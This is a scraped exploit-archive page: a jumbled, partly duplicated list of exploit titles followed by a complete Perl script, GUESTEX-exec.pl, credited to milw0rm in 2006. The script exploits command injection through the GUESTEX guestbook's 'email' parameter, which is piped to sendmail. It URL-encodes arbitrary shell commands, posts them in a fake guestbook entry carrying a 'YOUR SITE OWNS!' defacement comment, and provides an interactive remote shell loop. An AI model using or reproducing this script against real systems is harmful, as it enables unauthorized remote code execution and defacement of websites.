477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
77 lines
2.8 KiB
Perl
Executable file
77 lines
2.8 KiB
Perl
Executable file
## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
|
|
## Name: GUESTEX-exec.pl
|
|
## Date: 06/07/2006
|
|
## Version: 1.00
|
|
## 1.00 (06/07/2006) - GUESTEX-exec.pl created
|
|
##
|
|
## Description: GUESTEX guestbook is vulnerable to remote code execution in how it
|
|
## handles it's 'email' parameter. $form{'email'} is used when openning a pipe to
|
|
## sendmail in this manner: open(MAIL, "$sendmail $form{'email'}) where $form{'email'}
|
|
## is not properly sanitized.
|
|
##
|
|
## Usage: specify the host and location of the script as the first argument. hosts can
|
|
## contain ports (host:port) and you CAN specify a single command to execute via the
|
|
## commandline, although if you do not you will be given a shell like interface to
|
|
## repeatedly enter commands.
|
|
#######################################################################################
|
|
use IO::Socket;
|
|
use strict;
|
|
|
|
my $host = $ARGV[0];
|
|
my $location = $ARGV[1];
|
|
my $command = $ARGV[2];
|
|
my $sock;
|
|
my $port = 80;
|
|
my $comment = $ARGV[3] || "YOUR SITE OWNS!\n";
|
|
|
|
if (!($host && $location)) {
|
|
die("-!> perl $0 <host[:port]> <location> [command] [comment]\n");
|
|
}
|
|
|
|
$port = $1 if ($host =~ m/:(\d+)/);
|
|
|
|
while (1) {
|
|
my $switch = 0;
|
|
if (!($ARGV[2])) {
|
|
print 'guestex-shell$ ';
|
|
chomp($command = <STDIN>);
|
|
}
|
|
|
|
my $cmd = ";echo --1337 start-- ;$command; echo --1337 end--";
|
|
$cmd =~ s/(.)/sprintf("%%%x", ord($1))/ge;
|
|
|
|
my $POST = "POST $location HTTP/1.1\r\n" .
|
|
"Host: $host\r\n" .
|
|
"User-Agent: mozilla\r\n" .
|
|
"Content-type: application/x-www-form-urlencoded\r\n" .
|
|
"Content-length: " . length("surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd") . "\r\n" .
|
|
"Referer: $host\r\n\r\n";
|
|
|
|
$POST .= "surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd";
|
|
|
|
$sock = IO::Socket::INET->new('PeerAddr' => "$host",
|
|
'PeerPort' => $port,
|
|
'Proto' => 'tcp',
|
|
'Type' => SOCK_STREAM) or die ("-!> unable to connect to '$host:$port': $!\n");
|
|
|
|
$sock->autoflush();
|
|
|
|
print $sock "$POST";
|
|
|
|
#$switch = 1; # used for debugging if you think 'echo' might not be working, etc
|
|
|
|
while (my $line = <$sock>) {
|
|
if ($line =~ m/^\-\-1337\ start\-\-$/) {
|
|
$switch = 1;
|
|
next;
|
|
}
|
|
if ($line =~ m/^\-\-1337\ end\-\-$/) {
|
|
close($sock);
|
|
last;
|
|
}
|
|
print $line if $switch;
|
|
}
|
|
exit if $ARGV[2];
|
|
}
|
|
|
|
# milw0rm.com [2006-06-08]
|